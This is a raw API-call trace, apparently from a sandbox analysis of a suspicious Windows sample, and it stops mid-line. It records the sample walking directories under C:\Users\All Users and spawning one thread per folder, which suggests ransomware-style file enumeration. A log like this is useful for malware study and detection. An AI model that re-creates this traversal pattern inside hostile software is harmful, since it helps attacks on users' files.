[0072.617] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0072.617] FindClose (in: hFindFile=0x34338a8 | out: hFindFile=0x34338a8) returned 1 [0072.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ccc0) returned 1 [0072.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd9d0) returned 1 [0072.617] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0072.617] RtlExitUserThread (Status=0x0) Thread: id = 139 os_tid = 0x10a4 [0062.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3433c68 [0062.906] wcscpy (in: _Dest=0x3433c68, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0062.906] wcscat (in: _Dest=0x3433c68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\" [0062.906] wcscat (in: _Dest=0x3433c68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\*") returned="C:\\Users\\All Users\\Oracle\\*" [0062.906] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d660 [0062.906] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f68 [0062.907] wcscmp (_String1=".", _String2=".") returned 0 [0062.907] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.907] wcscmp (_String1="..", _String2=".") returned 1 [0062.907] wcscmp (_String1="..", _String2="..") returned 0 [0062.907] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0062.907] wcscmp (_String1="Java", _String2=".") returned 1 [0062.907] wcscmp (_String1="Java", _String2="..") returned 1 [0062.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fd238 [0062.907] wcscpy (in: _Dest=0x33fd238, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0062.907] wcscat (in: _Dest=0x33fd238, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\" [0062.907] wcscat (in: _Dest=0x33fd238, _Source="Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0076.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0076.578] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0076.578] FindClose (in: hFindFile=0x3433f68 | out: hFindFile=0x3433f68) returned 1 [0076.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d660) returned 1 [0076.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c68) returned 1 [0076.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433da8) returned 1 [0076.578] RtlExitUserThread (Status=0x0) Thread: id = 140 os_tid = 0x10a8 [0062.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x33f9f68 [0062.908] wcscpy (in: _Dest=0x33f9f68, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0062.908] wcscat (in: _Dest=0x33f9f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0062.908] wcscat (in: _Dest=0x33f9f68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\*") returned="C:\\Users\\All Users\\Package Cache\\*" [0062.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d8c8 [0062.908] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433928 [0062.910] wcscmp (_String1=".", _String2=".") returned 0 [0062.910] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.911] wcscmp (_String1="..", _String2=".") returned 1 [0062.911] wcscmp (_String1="..", _String2="..") returned 0 [0062.911] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0062.911] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1 [0062.911] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1 [0062.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce7c8 [0062.911] wcscpy (in: _Dest=0x33ce7c8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0062.911] wcscat (in: _Dest=0x33ce7c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0062.911] wcscat (in: _Dest=0x33ce7c8, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0072.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ce7c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0072.921] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0072.921] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1 [0072.921] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1 [0072.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c030 [0072.921] wcscpy (in: _Dest=0x347c030, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.921] wcscat (in: _Dest=0x347c030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.921] wcscat (in: _Dest=0x347c030, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0072.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347c030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0072.922] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0072.922] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1 [0072.922] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1 [0072.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33cf9a8 [0072.922] wcscpy (in: _Dest=0x33cf9a8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.923] wcscat (in: _Dest=0x33cf9a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.923] wcscat (in: _Dest=0x33cf9a8, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0072.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0072.924] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0072.924] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1 [0072.924] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1 [0072.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bd38 [0072.924] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.924] wcscat (in: _Dest=0x347bd38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.924] wcscat (in: _Dest=0x347bd38, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0072.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347bd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0072.925] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0072.925] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1 [0072.925] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1 [0072.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33cf218 [0072.925] wcscpy (in: _Dest=0x33cf218, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.925] wcscat (in: _Dest=0x33cf218, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.925] wcscat (in: _Dest=0x33cf218, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0072.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0072.926] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0072.926] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1 [0072.926] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1 [0072.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33cf0b8 [0072.926] wcscpy (in: _Dest=0x33cf0b8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.926] wcscat (in: _Dest=0x33cf0b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.926] wcscat (in: _Dest=0x33cf0b8, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0072.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf0b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0072.927] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0072.927] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1 [0072.928] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1 [0072.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33cf588 [0072.928] wcscpy (in: _Dest=0x33cf588, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.928] wcscat (in: _Dest=0x33cf588, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.928] wcscat (in: _Dest=0x33cf588, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0072.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0072.929] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0072.929] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1 [0072.929] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1 [0072.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33c8f68 [0072.929] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.929] wcscat (in: _Dest=0x33c8f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.929] wcscat (in: _Dest=0x33c8f68, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0072.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33c8f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0072.930] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0072.930] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1 [0072.930] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1 [0072.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f15c0 [0072.930] wcscpy (in: _Dest=0x33f15c0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.930] wcscat (in: _Dest=0x33f15c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.930] wcscat (in: _Dest=0x33f15c0, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0072.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f15c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0072.941] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0072.941] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1 [0072.941] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1 [0072.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0800 [0072.941] wcscpy (in: _Dest=0x33f0800, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0072.941] wcscat (in: _Dest=0x33f0800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0072.941] wcscat (in: _Dest=0x33f0800, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0072.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f0800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0076.665] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0076.665] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1 [0076.665] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1 [0076.665] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f1040 [0076.665] wcscpy (in: _Dest=0x33f1040, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0076.665] wcscat (in: _Dest=0x33f1040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package 